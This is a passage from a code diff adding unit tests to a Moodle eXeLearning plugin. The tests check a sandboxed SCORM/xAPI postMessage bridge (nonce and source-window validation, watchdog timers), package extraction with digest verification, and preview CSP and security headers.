+        expect(shim.isParentMessage({ type: 'scorm', action: 'track' })).toBe(false);
+        expect(shim.isParentMessage({ type: 'other', action: 'config' })).toBe(false);
+        expect(shim.isParentMessage(null)).toBe(false);
+    });
+});
+
+describe('shim activate (handshake + transport)', () => {
+    it('announces ready, then defines window.API', () => {
+        const win = makeFakeWin();
+        const handles = shim.activate(win);
+        expect(handles).not.toBeNull();
+        expect(win.API).toBe(handles.api);
+        expect(win.postedToParent[0]).toEqual({ exelearningBridge: null, type: 'scorm', action: 'ready' });
+    });
+
+    it('queues scores until config arrives, then flushes them stamped with the nonce', () => {
+        const win = makeFakeWin();
+        shim.activate(win);
+        // Score before the handshake completes: must be queued, not posted yet.
+        win.API.LMSSetValue('cmi.core.score.raw', '80');
+        win.API.LMSCommit();
+        expect(win.postedToParent.filter((m) => m.action === 'track')).toHaveLength(0);
+        // Parent replies with the nonce -> queued track message is flushed.
+        deliver(win, { source: win.parent, data: { type: 'scorm', action: 'config', nonce: 'N1' } });
+        const tracks = win.postedToParent.filter((m) => m.action === 'track');
+        expect(tracks).toHaveLength(1);
+        expect(tracks[0].exelearningBridge).toBe('N1');
+        expect(tracks[0].cmi['cmi.core.score.raw']).toBe('80');
+    });
+
+    it('posts scores immediately once ready', () => {
+        const win = makeFakeWin();
+        shim.activate(win);
+        deliver(win, { source: win.parent, data: { type: 'scorm', action: 'config', nonce: 'N2' } });
+        win.API.LMSSetValue('cmi.core.lesson_status', 'completed');
+        win.API.LMSCommit();
+        const tracks = win.postedToParent.filter((m) => m.action === 'track');
+        expect(tracks).toHaveLength(1);
+        expect(tracks[0].exelearningBridge).toBe('N2');
+        expect(tracks[0].cmi['cmi.core.lesson_status']).toBe('completed');
+    });
+
+    it('ignores messages whose source is not the parent window', () => {
+        const win = makeFakeWin();
+        shim.activate(win);
+        win.API.LMSSetValue('cmi.core.score.raw', '50');
+        win.API.LMSCommit();
+        // A config from a foreign window must not unblock the queue.
+        deliver(win, { source: { other: true }, data: { type: 'scorm', action: 'config', nonce: 'EVIL' } });
+        expect(win.postedToParent.filter((m) => m.action === 'track')).toHaveLength(0);
+    });
+});
+
+describe('shim boot', () => {
+    it('activates in an opaque sandbox', () => {
+        const win = makeFakeWin({ origin: 'null' });
+        const handles = shim.boot(win);
+        expect(handles).not.toBeNull();
+        expect(win.API).toBeDefined();
+        // Storage was polyfilled.
+        win.localStorage.setItem('k', 'v');
+        expect(win.localStorage.getItem('k')).toBe('v');
+    });
+
+    it('stays dormant (no window.API) outside an opaque sandbox', () => {
+        const win = makeFakeWin({ origin: 'https://moodle.test', localStorage: shim.createMemoryStorage(), API: undefined });
+        const handles = shim.boot(win);
+        expect(handles).toBeNull();
+        expect(win.API).toBeUndefined();
+    });
+});
+
+describe('relay pure validators', () => {
+    it('isTrackMessage requires the scorm/track shape with a cmi object', () => {
+        expect(relay.isTrackMessage({ type: 'scorm', action: 'track', cmi: {} })).toBe(true);
+        expect(relay.isTrackMessage({ type: 'scorm', action: 'track' })).toBe(false);
+        expect(relay.isTrackMessage({ type: 'scorm', action: 'ready' })).toBe(false);
+        expect(relay.isTrackMessage(null)).toBe(false);
+    });
+
+    it('isReadyMessage matches only the readiness announcement', () => {
+        expect(relay.isReadyMessage({ type: 'scorm', action: 'ready' })).toBe(true);
+        expect(relay.isReadyMessage({ type: 'scorm', action: 'track', cmi: {} })).toBe(false);
+    });
+
+    it('acceptTrack requires both a valid shape and the matching nonce', () => {
+        const msg = { type: 'scorm', action: 'track', cmi: {}, exelearningBridge: 'N' };
+        expect(relay.acceptTrack(msg, 'N')).toBe(true);
+        expect(relay.acceptTrack(msg, 'OTHER')).toBe(false);
+        expect(relay.acceptTrack({ type: 'scorm', action: 'track', cmi: {}, exelearningBridge: undefined }, 'N')).toBe(false);
+    });
+
+    it('acceptTrack never authenticates against a falsy expected nonce (no undefined===undefined)', () => {
+        // A relay constructed without a nonce must reject even a perfectly-shaped message
+        // that omits the field, rather than collapsing the nonce factor.
+        expect(relay.acceptTrack({ type: 'scorm', action: 'track', cmi: {} }, undefined)).toBe(false);
+        expect(relay.acceptTrack({ type: 'scorm', action: 'track', cmi: {}, exelearningBridge: undefined }, undefined)).toBe(false);
+        expect(relay.acceptTrack({ type: 'scorm', action: 'track', cmi: {}, exelearningBridge: '' }, '')).toBe(false);
+    });
+});
+
+describe('relay createRelay (message handling)', () => {
+    function setup() {
+        const cw = { postMessage: vi.fn() };
+        const iframe = { contentWindow: cw };
+        const doc = { getElementById: (id) => (id === 'exelearningobject' ? iframe : null) };
+        const fetchCalls = [];
+        const fetchImpl = (url, opts) => { fetchCalls.push({ url, opts }); return { catch: () => {} }; };
+        const beaconCalls = [];
+        const sendBeacon = (url, blob) => { beaconCalls.push({ url, blob }); return true; };
+        const r = relay.createRelay(
+            {
+                iframeid: 'exelearningobject', cmid: 42, trackurl: '/track.php?id=42',
+                session: 'tok', sesskey: 'SK', nonce: 'N',
+            },
+            { document: doc, window: { addEventListener: () => {} }, fetch: fetchImpl, sendBeacon }
+        );
+        return { r, cw, fetchCalls, beaconCalls };
+    }
+
+    it('replies to ready (from the iframe) with the config + nonce', () => {
+        const { r, cw } = setup();
+        r.onMessage({ source: cw, data: { type: 'scorm', action: 'ready' } });
+        expect(cw.postMessage).toHaveBeenCalledTimes(1);
+        expect(cw.postMessage.mock.calls[0][0]).toMatchObject({ type: 'scorm', action: 'config', nonce: 'N' });
+    });
+
+    it('forwards a valid track message to track.php with the trusted identity', () => {
+        const { r, cw, fetchCalls } = setup();
+        r.onMessage({
+            source: cw,
+            data: { type: 'scorm', action: 'track', exelearningBridge: 'N', cmi: { 'cmi.core.score.raw': '80' }, itemscores: { 'ide-a': { scorepct: 80 } } },
+        });
+        expect(fetchCalls).toHaveLength(1);
+        expect(fetchCalls[0].url).toBe('/track.php?id=42');
+        const body = JSON.parse(fetchCalls[0].opts.body);
+        expect(body).toEqual({ id: 42, session: 'tok', sesskey: 'SK', cmi: { 'cmi.core.score.raw': '80' }, itemscores: { 'ide-a': { scorepct: 80 } } });
+    });
+
+    it('carries the sesskey in the POST body, never in the endpoint URL (SEC-04)', () => {
+        // track.php authenticates with require_body_sesskey(), so a relay that leaves
+        // the key out of the body is rejected on every write. The identity fields come
+        // from this trusted parent; only cmi/itemscores cross the bridge.
+        const { r, cw, fetchCalls } = setup();
+        r.onMessage({
+            source: cw,
+            data: { type: 'scorm', action: 'track', exelearningBridge: 'N', cmi: {} },
+        });
+        expect(JSON.parse(fetchCalls[0].opts.body).sesskey).toBe('SK');
+        expect(fetchCalls[0].url).not.toContain('sesskey');
+    });
+
+    it('ignores a track message from a window other than the iframe', () => {
+        const { r, fetchCalls } = setup();
+        r.onMessage({ source: { foreign: true }, data: { type: 'scorm', action: 'track', exelearningBridge: 'N', cmi: {} } });
+        expect(fetchCalls).toHaveLength(0);
+    });
+
+    it('ignores a message when the iframe has no contentWindow (no null===null match)', () => {
+        const fetchCalls = [];
+        const iframe = { contentWindow: null };   // present element, not navigable.
+        const doc = { getElementById: (id) => (id === 'exelearningobject' ? iframe : null) };
+        const r = relay.createRelay(
+            { iframeid: 'exelearningobject', cmid: 42, trackurl: '/track.php?id=42', session: 'tok', nonce: 'N' },
+            { document: doc, window: { addEventListener: () => {} }, fetch: (url, opts) => { fetchCalls.push({ url, opts }); return { catch: () => {} }; } }
+        );
+        // event.source === null would equal a null contentWindow without the guard.
+        r.onMessage({ source: null, data: { type: 'scorm', action: 'track', exelearningBridge: 'N', cmi: {} } });
+        expect(fetchCalls).toHaveLength(0);
+    });
+
+    it('ignores a track message with the wrong nonce or a bad shape', () => {
+        const { r, cw, fetchCalls } = setup();
+        r.onMessage({ source: cw, data: { type: 'scorm', action: 'track', exelearningBridge: 'WRONG', cmi: {} } });
+        r.onMessage({ source: cw, data: { type: 'scorm', action: 'track', exelearningBridge: 'N' } }); // no cmi
+        r.onMessage({ source: cw, data: { type: 'scorm', action: 'evil', exelearningBridge: 'N', cmi: {} } });
+        expect(fetchCalls).toHaveLength(0);
+    });
+
+    it('flushBeacon sends the last forwarded payload on unload', () => {
+        const { r, cw, beaconCalls } = setup();
+        r.onMessage({ source: cw, data: { type: 'scorm', action: 'track', exelearningBridge: 'N', cmi: { 'cmi.core.score.raw': '90' }, itemscores: {} } });
+        r.flushBeacon();
+        expect(beaconCalls).toHaveLength(1);
+        expect(beaconCalls[0].url).toBe('/track.php?id=42');
+    });
+
+    it('xAPI-primary (disableTracking): a valid track message is accepted but POSTs nothing, while ready still handshakes', () => {
+        const cw = { postMessage: vi.fn() };
+        const iframe = { contentWindow: cw };
+        const doc = { getElementById: (id) => (id === 'exelearningobject' ? iframe : null) };
+        const fetchCalls = [];
+        const beaconCalls = [];
+        const r = relay.createRelay(
+            { iframeid: 'exelearningobject', cmid: 42, trackurl: '/track.php?id=42', session: 'tok', nonce: 'N', disableTracking: true },
+            {
+                document: doc,
+                window: { addEventListener: () => {} },
+                fetch: (url, opts) => { fetchCalls.push({ url, opts }); return { catch: () => {} }; },
+                sendBeacon: (url, blob) => { beaconCalls.push({ url, blob }); return true; },
+            }
+        );
+        // A perfectly valid, authenticated SCORM score is dropped: the package is graded via xAPI.
+        r.onMessage({ source: cw, data: { type: 'scorm', action: 'track', exelearningBridge: 'N', cmi: { 'cmi.core.score.raw': '100' }, itemscores: {} } });
+        expect(fetchCalls).toHaveLength(0);
+        // The handshake still runs, so window.API exists and the iDevices can emit xAPI.
+        r.onMessage({ source: cw, data: { type: 'scorm', action: 'ready' } });
+        expect(cw.postMessage).toHaveBeenCalledTimes(1);
+        // And the unload beacon has nothing to flush (no score was ever buffered).
+        r.flushBeacon();
+        expect(beaconCalls).toHaveLength(0);
+    });
+});
+
+describe('relay watchdog (no silent legacy fallback)', () => {
+    function setupWatchdog() {
+        const cw = { postMessage: () => {} };
+        const iframe = { contentWindow: cw, style: { display: '' } };
+        const blocked = { style: { display: 'none' } };
+        const doc = { getElementById: (id) => (id === 'exelearningobject' ? iframe : (id === 'blk' ? blocked : null)) };
+        let timerFn = null;
+        const win = {
+            addEventListener: () => {},
+            setTimeout: (fn) => { timerFn = fn; return 1; },
+            clearTimeout: () => { timerFn = null; },
+        };
+        const r = relay.createRelay(
+            { iframeid: 'exelearningobject', nonce: 'N', blockedid: 'blk', watchdogms: 5 },
+            { document: doc, window: win, fetch: () => ({ catch: () => {} }) }
+        );
+        return { r, cw, iframe, blocked, fire: () => timerFn && timerFn() };
+    }
+
+    it('reveals the blocked notice and hides the iframe when ready never arrives', () => {
+        const { r, iframe, blocked, fire } = setupWatchdog();
+        r.startWatchdog();
+        fire();
+        expect(blocked.style.display).toBe('');
+        expect(iframe.style.display).toBe('none');
+    });
+
+    it('is cleared when the iframe signals ready (secure mode rendered)', () => {
+        const { r, cw, blocked, fire } = setupWatchdog();
+        r.startWatchdog();
+        r.onMessage({ source: cw, data: { type: 'scorm', action: 'ready' } });
+        fire(); // no-op: watchdog was cleared.
+        expect(blocked.style.display).toBe('none');
+    });
+
+    // Fast path: an iframe element fires 'load' even when its navigation ended in an
+    // error page (e.g. an opaque token URL that 404s on a service-worker host that does
+    // not control opaque subframes). The relay then only grants a short grace before the
+    // notice, so it never sits behind the long flat watchdog (DEC-80-02 / Playground).
+    function setupLoadWatchdog() {
+        let loadHandler = null;
+        const timers = [];
+        const cw = { postMessage: () => {} };
+        const iframe = {
+            contentWindow: cw,
+            style: { display: '' },
+            addEventListener: (type, fn) => { if (type === 'load') { loadHandler = fn; } },
+        };
+        const blocked = { style: { display: 'none' } };
+        const doc = { getElementById: (id) => (id === 'exelearningobject' ? iframe : (id === 'blk' ? blocked : null)) };
+        const win = {
+            addEventListener: () => {},
+            setTimeout: (fn) => { timers.push(fn); return timers.length; },
+            clearTimeout: () => {},
+        };
+        const r = relay.createRelay(
+            { iframeid: 'exelearningobject', nonce: 'N', blockedid: 'blk', watchdogms: 100000, gracems: 5 },
+            { document: doc, window: win, fetch: () => ({ catch: () => {} }) }
+        );
+        return { r, cw, iframe, blocked, timers, load: () => loadHandler && loadHandler() };
+    }
+
+    it('reveals the notice on the short grace timer after the iframe loads, not the long watchdog', () => {
+        const { r, iframe, blocked, timers, load } = setupLoadWatchdog();
+        r.startWatchdog();
+        expect(timers).toHaveLength(1);   // only the flat watchdog so far.
+        load();                            // iframe finished loading (e.g. the 404 page).
+        expect(timers).toHaveLength(2);   // a short grace timer was armed.
+        timers[1]();                       // fire ONLY the grace timer (not the long one).
+        expect(blocked.style.display).toBe('');
+        expect(iframe.style.display).toBe('none');
+    });
+
+    it('does not arm the grace timer when the iframe is already ready before it loads', () => {
+        const { r, cw, blocked, timers, load } = setupLoadWatchdog();
+        r.startWatchdog();
+        r.onMessage({ source: cw, data: { type: 'scorm', action: 'ready' } });
+        load();                            // ready already seen -> no grace timer.
+        expect(timers).toHaveLength(1);
+        timers.forEach((fn) => fn());      // even firing everything leaves it hidden.
+        expect(blocked.style.display).toBe('none');
+    });
+});
+
+describe('shim extra branches (coverage)', () => {
+    it('treats a window whose origin read throws as opaque', () => {
+        const win = { get origin() { throw new Error('blocked'); } };
+        expect(shim.isSandboxedOpaque(win)).toBe(true);
+    });
+
+    it('installStoragePolyfill never throws even when storage cannot be redefined', () => {
+        const win = Object.preventExtensions({});
+        expect(() => shim.installStoragePolyfill(win)).not.toThrow();
+    });
+
+    it('resolves per-iDevice scores from its own document on suspend_data', () => {
+        document.body.innerHTML = '<div class="idevice_node" id="ide-x"></div>';
+        const win = makeFakeWin();
+        shim.activate(win);
+        deliver(win, { source: win.parent, data: { type: 'scorm', action: 'config', nonce: 'N' } });
+        win.API.LMSSetValue('cmi.suspend_data', '1. "Q"; Score: 60%; Weight: 30%');
+        win.API.LMSCommit();
+        const tracks = win.postedToParent.filter((m) => m.action === 'track');
+        expect(tracks.length).toBeGreaterThan(0);
+        expect(tracks[tracks.length - 1].itemscores).toEqual({ 'ide-x': { scorepct: 60, weighted: 30, title: 'Q' } });
+    });
+});
+
+describe('relay init wiring (coverage)', () => {
+    it('init registers message + pagehide listeners (and starts the watchdog)', () => {
+        const events = {};
+        const win = { addEventListener: (t, fn) => { events[t] = fn; }, setTimeout: () => 1, clearTimeout: () => {} };
+        const doc = { getElementById: () => null };
+        const r = relay.createRelay(
+            { iframeid: 'x', nonce: 'N', blockedid: 'blk' },
+            { document: doc, window: win, fetch: () => ({ catch: () => {} }) }
+        );
+        r.init();
+        expect(typeof events.message).toBe('function');
+        expect(typeof events.pagehide).toBe('function');
+    });
+
+    it('bootstrap init() creates a relay and starts it', () => {
+        const r = relay.init({ iframeid: 'x', nonce: 'N' });
+        expect(typeof r.onMessage).toBe('function');
+        expect(typeof r.postTrack).toBe('function');
+    });
+});
diff --git a/tests/js/scorm_tracker.test.js b/tests/js/scorm_tracker.test.js
index 6813404..8bfc7a6 100644
--- a/tests/js/scorm_tracker.test.js
+++ b/tests/js/scorm_tracker.test.js
@@ -272,3 +272,34 @@ describe('createScormApi state machine', () => {
         expect(xhr.calls.length).toBe(0);
     });
 });
+
+describe('createScormApi transport (bridge mode)', () => {
+    function cfg(transport) {
+        // No-op timers so the only send() is the explicit LMSCommit (no stray autocommit).
+        return { transport, bindUnload: false, getScoringDocument: () => document, setTimeout: () => 0, clearTimeout: () => {} };
+    }
+
+    it('clears dirty when the transport accepts the payload (no XHR)', () => {
+        let calls = 0;
+        const { api } = createScormApi(cfg(() => { calls++; return true; }));
+        api.LMSSetValue('cmi.core.score.raw', '50');
+        expect(api.LMSCommit()).toBe('true');
+        expect(calls).toBe(1);
+        // Not dirty anymore: a second commit sends nothing.
+        expect(api.LMSCommit()).toBe('true');
+        expect(calls).toBe(1);
+    });
+
+    it('keeps dirty (Commit -> "false") when the transport rejects', () => {
+        const { api } = createScormApi(cfg(() => false));
+        api.LMSSetValue('cmi.core.score.raw', '50');
+        expect(api.LMSCommit()).toBe('false');
+    });
+
+    it('reports error 101 when the transport throws', () => {
+        const { api } = createScormApi(cfg(() => { throw new Error('boom'); }));
+        api.LMSSetValue('cmi.core.score.raw', '50');
+        expect(api.LMSCommit()).toBe('false');
+        expect(api.LMSGetLastError()).toBe('101');
+    });
+});
diff --git a/tests/js/xapi_listener.test.js b/tests/js/xapi_listener.test.js
index 25d17fd..6f3b539 100644
--- a/tests/js/xapi_listener.test.js
+++ b/tests/js/xapi_listener.test.js
@@ -155,6 +155,84 @@ describe('xapi_listener createListener().handleMessage', () => {
     });
 });
 
+describe('xapi_listener window-identity mode (secure / opaque origin, DEC-80-05)', () => {
+    let xhr;
+    const frameWin = { name: 'package-iframe' };   // sentinel for the iframe's contentWindow.
+
+    function secureListener(extra = {}) {
+        return createListener({
+            cmid: 42,
+            trackurl: '/mod/exelearning/xapi_track.php?id=42&sesskey=abc',
+            registration: 'tok',
+            mode: 'grading',
+            expectedSource: frameWin,     // window-identity mode without a real DOM iframe.
+            xhrFactory: () => xhr,
+            ...extra,
+        });
+    }
+
+    beforeEach(() => { xhr = makeXhr(); });
+
+    it('forwards a statement from the package iframe even though the origin is the opaque "null"', () => {
+        const listener = secureListener();
+        const ok = listener.handleMessage(
+            { origin: 'null', source: frameWin, data: { type: 'exe-xapi-statement', statement: answered('s1') } });
+        expect(ok).toBe(true);
+        expect(xhr.calls.find((c) => c.method).url).toContain('xapi_track.php');
+    });
+
+    it('drops a statement from any other window, even one claiming the trusted host origin', () => {
+        const listener = secureListener();
+        expect(listener.handleMessage(
+            { origin: 'null', source: { other: true }, data: { type: 'exe-xapi-statement', statement: answered('s2') } })).toBe(false);
+        expect(listener.handleMessage(
+            { origin: HOST, source: { other: true }, data: { type: 'exe-xapi-statement', statement: answered('s3') } })).toBe(false);
+        expect(xhr.calls.length).toBe(0);
+    });
+
+    it('drops a message that carries no source', () => {
+        const listener = secureListener();
+        expect(listener.handleMessage(
+            { origin: 'null', data: { type: 'exe-xapi-statement', statement: answered('s4') } })).toBe(false);
+        expect(xhr.calls.length).toBe(0);
+    });
+
+    it('resolves the iframe by id lazily, so injection before the element exists still works', () => {
+        let frame = null;   // element not in the DOM yet (relay is injected before the iframe).
+        const doc = { getElementById: (id) => (id === 'exelearningobject' ? frame : null) };
+        const listener = createListener({
+            cmid: 42, trackurl: '/x', registration: 'tok',
+            iframeid: 'exelearningobject', document: doc, xhrFactory: () => xhr,
+        });
+        // No element -> no trusted source -> dropped (and not marked seen).
+        expect(listener.handleMessage(
+            { source: frameWin, data: { type: 'exe-xapi-statement', statement: answered('s5') } })).toBe(false);
+        // The element appears at load time -> the same source window is now trusted.
+        frame = { contentWindow: frameWin };
+        expect(listener.handleMessage(
+            { source: frameWin, data: { type: 'exe-xapi-statement', statement: answered('s6') } })).toBe(true);
+    });
+
+    it('window identity wins when both iframeid and allowedOrigin are set: origin is never consulted in secure mode', () => {
+        // Defensive: secure mode must NOT fall back to the origin check even if a future
+        // refactor leaves allowedOrigin in the config. event.source is the only anchor.
+        const listener = createListener({
+            cmid: 42, trackurl: '/x', registration: 'tok',
+            iframeid: 'exelearningobject',     // selects window-identity mode...
+            allowedOrigin: HOST,               // ...and this must be ignored, not consulted.
+            document: { getElementById: () => ({ contentWindow: frameWin }) },
+            xhrFactory: () => xhr,
+        });
+        // A message from a DIFFERENT window is rejected even though it carries the trusted host origin.
+        expect(listener.handleMessage(
+            { origin: HOST, source: { other: true }, data: { type: 'exe-xapi-statement', statement: answered('p1') } })).toBe(false);
+        // Only the real iframe window is accepted.
+        expect(listener.handleMessage(
+            { origin: HOST, source: frameWin, data: { type: 'exe-xapi-statement', statement: answered('p2') } })).toBe(true);
+        expect(xhr.calls.length).toBeGreaterThan(0);
+    });
+});
+
 /**
  * XHR factory whose instances expose resolve(status)/fail() so a test can drive the
  * async onload/onerror callbacks deterministically.
diff --git a/tests/lib_extract_test.php b/tests/lib_extract_test.php
index 2575401..990285b 100644
--- a/tests/lib_extract_test.php
+++ b/tests/lib_extract_test.php
@@ -75,6 +75,130 @@ public function test_create_instance_extracts_package_and_injects_scorm_loader()
         $html = $index->get_content();
         $this->assertStringContainsString('<!-- mod_exelearning:scorm-loader -->', $html);
         $this->assertStringContainsString('libs/SCORM_API_wrapper.js', $html);
+
+        // The secure-mode bridge client was shipped under libs/ and injected at the top
+        // of <head> (DEC-80-02).
+        foreach (['scorm_tracker.js', 'exe_scorm_bridge.js'] as $bridgefile) {
+            $f = $fs->get_file($context->id, 'mod_exelearning', 'content', $revision, '/libs/', $bridgefile);
+            $this->assertInstanceOf(\stored_file::class, $f);
+        }
+        $this->assertStringContainsString('<!-- mod_exelearning:scorm-bridge -->', $html);
+        $this->assertStringContainsString('libs/exe_scorm_bridge.js', $html);
+    }
+
+    /**
+     * Re-extracting the same revision refreshes the plugin-owned bridge client
+     * (scorm_tracker.js / exe_scorm_bridge.js) under libs/ — exercises the $present +
+     * refresh delete-and-recreate branch of package_manager::extract_stored() (DEC-80-02).
+     * Idempotent: it must not error and the files must remain.
+     */
+    public function test_reextract_refreshes_bridge_client(): void {
+        global $DB;
+        $this->resetAfterTest();
+        $this->setAdminUser();
+
+        $course = $this->getDataGenerator()->create_course();
+        $instance = $this->getDataGenerator()->get_plugin_generator('mod_exelearning')
+            ->create_instance(['course' => $course->id]);
+        $cm = get_coursemodule_from_instance('exelearning', $instance->id);
+        $context = \context_module::instance($cm->id);
+        $revision = (int) $DB->get_field('exelearning', 'revision', ['id' => $instance->id]);
+        $fs = get_file_storage();
+
+        // Present after the first extract.
+        $before = $fs->get_file($context->id, 'mod_exelearning', 'content', $revision, '/libs/', 'exe_scorm_bridge.js');
+        $this->assertInstanceOf(\stored_file::class, $before);
+
+        // Re-extract the same revision: the bridge files are already present, so the
+        // refresh branch deletes and recreates them. Must stay present and not error.
+        exelearning_extract_stored_package($context->id, $revision);
+
+        foreach (['scorm_tracker.js', 'exe_scorm_bridge.js'] as $bridgefile) {
+            $f = $fs->get_file($context->id, 'mod_exelearning', 'content', $revision, '/libs/', $bridgefile);
+            $this->assertInstanceOf(\stored_file::class, $f);
+        }
+    }
+
+    /**
+     * The in-package client runtime is the CANONICAL external-media bundle vendored from
+     * eXeLearning core, not the superseded shim it replaced.
+     *
+     * Asserted on the extracted BYTES rather than on the source path, because the path is
+     * what a refactor changes and the bytes are what a learner runs. The destination
+     * filename deliberately stays `exe_embed_shim.js`: packages extracted before the
+     * migration carry that name in their own HTML, and renaming it would strand them.
+     * That is exactly why the name cannot be the thing this test trusts.
+     */
+    public function test_extract_ships_the_canonical_external_media_child(): void {
+        global $DB;
+        $this->resetAfterTest();
+        $this->setAdminUser();
+
+        $course = $this->getDataGenerator()->create_course();
+        $instance = $this->getDataGenerator()->get_plugin_generator('mod_exelearning')
+            ->create_instance(['course' => $course->id]);
+        $cm = get_coursemodule_from_instance('exelearning', $instance->id);
+        $context = \context_module::instance($cm->id);
+        $revision = (int) $DB->get_field('exelearning', 'revision', ['id' => $instance->id]);
+
+        $file = get_file_storage()->get_file(
+            $context->id,
+            'mod_exelearning',
+            'content',
+            $revision,
+            '/libs/',
+            'exe_embed_shim.js'
+        );
+        $this->assertInstanceOf(\stored_file::class, $file, 'the client runtime was not shipped');
+
+        $source = $file->get_content();
+        // A symbol only the canonical bundle defines.
+        $this->assertStringContainsString('exeExternalMediaChild', $source);
+        // And it must carry the dual-licence grant into the package (eXe ADR-2199-09): these
+        // bytes are redistributed to every learner who downloads the course.
+        $this->assertStringContainsString('AGPL-3.0-or-later OR GPL-3.0-or-later', $source);
+    }
+
+    /**
+     * The vendored copy is byte-identical to what eXeLearning core published.
+     *
+     * This plugin holds the BYTES and verifies them, rather than a copy of the logic that
+     * could drift (eXe ADR-2199-12). CI runs the same check with a build hash pinned in the
+     * workflow -- out of band, because a hash read from the copy under test cannot vouch
+     * for that copy. This test is the fast local half.
+     */
+    public function test_vendored_external_media_matches_its_manifest(): void {
+        $dir = __DIR__ . '/../js/exe_external_media/';
+        $manifest = json_decode((string) file_get_contents($dir . 'exe-external-media.manifest.json'), true);
+
+        $this->assertIsArray($manifest['files'] ?? null, 'the manifest has no file list');
+
+        foreach ($manifest['files'] as $half => $record) {
+            $this->assertFileExists($dir . $record['path'], "{$half} is missing");
+            $this->assertSame(
+                $record['sha256'],
+                hash('sha256', (string) file_get_contents($dir . $record['path'])),
+                "{$half} does not match the digest core published"
+            );
+        }
+
+        // Editing a file and its digest together is the obvious way around a per-file
+        // check, so the build hash covers the digest list itself.
+        $keys = array_keys($manifest['files']);
+        sort($keys);
+        $lines = array_map(static fn($k) => $k . ':' . $manifest['files'][$k]['sha256'], $keys);
+        $this->assertSame($manifest['buildHash'], hash('sha256', implode("\n", $lines)));
+    }
+
+    /**
+     * Control is raw postMessage: no provider SDK may be inside the host bundle.
+     */
+    public function test_host_bundle_carries_no_provider_sdk(): void {
+        $host = (string) file_get_contents(__DIR__ . '/../js/exe_external_media/exe-external-media-host.min.js');
+
+        $this->assertStringNotContainsString('YT.Player', $host);
+        $this->assertStringNotContainsString('Vimeo.Player', $host);
+        $this->assertStringContainsString('enablejsapi', $host);
     }
 
     /**
diff --git a/tests/local/preview/serving_test.php b/tests/local/preview/serving_test.php
new file mode 100644
index 0000000..0587d7f
--- /dev/null
+++ b/tests/local/preview/serving_test.php
@@ -0,0 +1,340 @@
+<?php
+// This file is part of Moodle - http://moodle.org/
+//
+// Moodle is free software: you can redistribute it and/or modify
+// it under the terms of the GNU General Public License as published by
+// the Free Software Foundation, either version 3 of the License, or
+// (at your option) any later version.
+//
+// Moodle is distributed in the hope that it will be useful,
+// but WITHOUT ANY WARRANTY; without even the implied warranty of
+// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+// GNU General Public License for more details.
+//
+// You should have received a copy of the GNU General Public License
+// along with Moodle.  If not, see <http://www.gnu.org/licenses/>.
+
+namespace mod_exelearning\local\preview;
+
+use advanced_testcase;
+
+/**
+ * Unit tests for the preview serving protocol/response helpers (contract v2).
+ *
+ * @package    mod_exelearning
+ * @category   test
+ * @copyright  2026 ATE (Área de Tecnología Educativa)
+ * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
+ * @covers     \mod_exelearning\local\preview\serving
+ */
+final class serving_test extends advanced_testcase {
+    /**
+     * The emitted CSP MUST be byte-identical to eXe core previewCspHeader():
+     * a single line, directives joined by "; ", no trailing ";", sandbox first.
+     */
+    public function test_csp_header_is_byte_identical_to_core(): void {
+        $expected = "sandbox allow-scripts allow-popups allow-forms; "
+            . "default-src 'self'; "
+            . "script-src 'self' 'unsafe-inline' 'unsafe-eval'; "
+            . "style-src 'self' 'unsafe-inline'; "
+            . "img-src 'self' data: blob: https:; "
+            . "media-src 'self' data: blob: https:; "
+            . "font-src 'self' data:; "
+            . "connect-src 'self'; "
+            . "frame-src 'self' https://www.youtube-nocookie.com https://player.vimeo.com; "
+            . "child-src 'self' https://www.youtube-nocookie.com https://player.vimeo.com; "
+            . "object-src 'none'; "
+            . "base-uri 'none'; "
+            . "form-action 'self'; "
+            . "frame-ancestors 'self'";
+        $this->assertSame($expected, serving::csp_header());
+        // The preview CSP is ALWAYS opaque: it must never carry allow-same-origin,
+        // even if the published-content legacy escape hatch is enabled.
+        putenv('EXELEARNING_UNSAFE_LEGACY_IFRAME=1');
+        try {
+            $this->assertStringNotContainsString('allow-same-origin', serving::csp_header());
+        } finally {
+            putenv('EXELEARNING_UNSAFE_LEGACY_IFRAME');
+        }
+    }
+
+    /**
+     * The Permissions-Policy is the 4-feature preview value.
+     */
+    public function test_permissions_policy(): void {
+        $this->assertSame('camera=(), microphone=(), geolocation=(), payment=()', serving::permissions_policy());
+    }
+
+    /**
+     * Base headers carry the hardening set and deliberately NOT Cache-Control
+     * (that is tiered per resolution layer by the caller).
+     */
+    public function test_base_headers(): void {
+        $headers = serving::base_headers();
+        $this->assertSame('nosniff', $headers['X-Content-Type-Options']);
+        $this->assertSame('no-referrer', $headers['Referrer-Policy']);
+        $this->assertSame('*', $headers['Access-Control-Allow-Origin']);
+        $this->assertArrayHasKey('Permissions-Policy', $headers);
+        $this->assertArrayNotHasKey('Cache-Control', $headers);
+    }
+
+    /**
+     * The sandbox CSP rides on every scriptable document type, not just HTML.
+     */
+    public function test_is_scriptable(): void {
+        $this->assertTrue(serving::is_scriptable('text/html; charset=utf-8'));
+        $this->assertTrue(serving::is_scriptable('image/svg+xml; charset=utf-8'));
+        $this->assertTrue(serving::is_scriptable('application/xml'));
+        $this->assertTrue(serving::is_scriptable('text/xml'));
+        $this->assertTrue(serving::is_scriptable('application/xhtml+xml'));
+        $this->assertFalse(serving::is_scriptable('text/css'));
+        $this->assertFalse(serving::is_scriptable('image/png'));
+        $this->assertFalse(serving::is_scriptable('application/javascript'));
+    }
+
+    /**
+     * Content types mirror core: textual types (incl. svg/xml/js/json) get a
+     * UTF-8 charset; binary types do not; unknown extensions fall back.
+     */
+    public function test_content_type_for(): void {
+        $this->assertSame('text/html; charset=utf-8', serving::content_type_for('index.html'));
+        $this->assertSame('image/svg+xml; charset=utf-8', serving::content_type_for('a/icon.svg'));
+        $this->assertSame('text/css; charset=utf-8', serving::content_type_for('theme/content.css'));
+        $this->assertSame('application/javascript; charset=utf-8', serving::content_type_for('libs/x.js'));
+        $this->assertSame('application/json; charset=utf-8', serving::content_type_for('data.json'));
+        $this->assertSame('application/xml; charset=utf-8', serving::content_type_for('feed.xml'));
+        $this->assertSame('image/png', serving::content_type_for('img/photo.png'));
+        $this->assertSame('video/mp4', serving::content_type_for('media/clip.mp4'));
+        $this->assertSame('application/octet-stream', serving::content_type_for('blob.unknownext'));
+    }
+
+    /**
+     * Path normalization is traversal-safe: it defaults to index.html, strips
+     * leading slashes, resolves '.'/'..', and rejects escapes (literal and
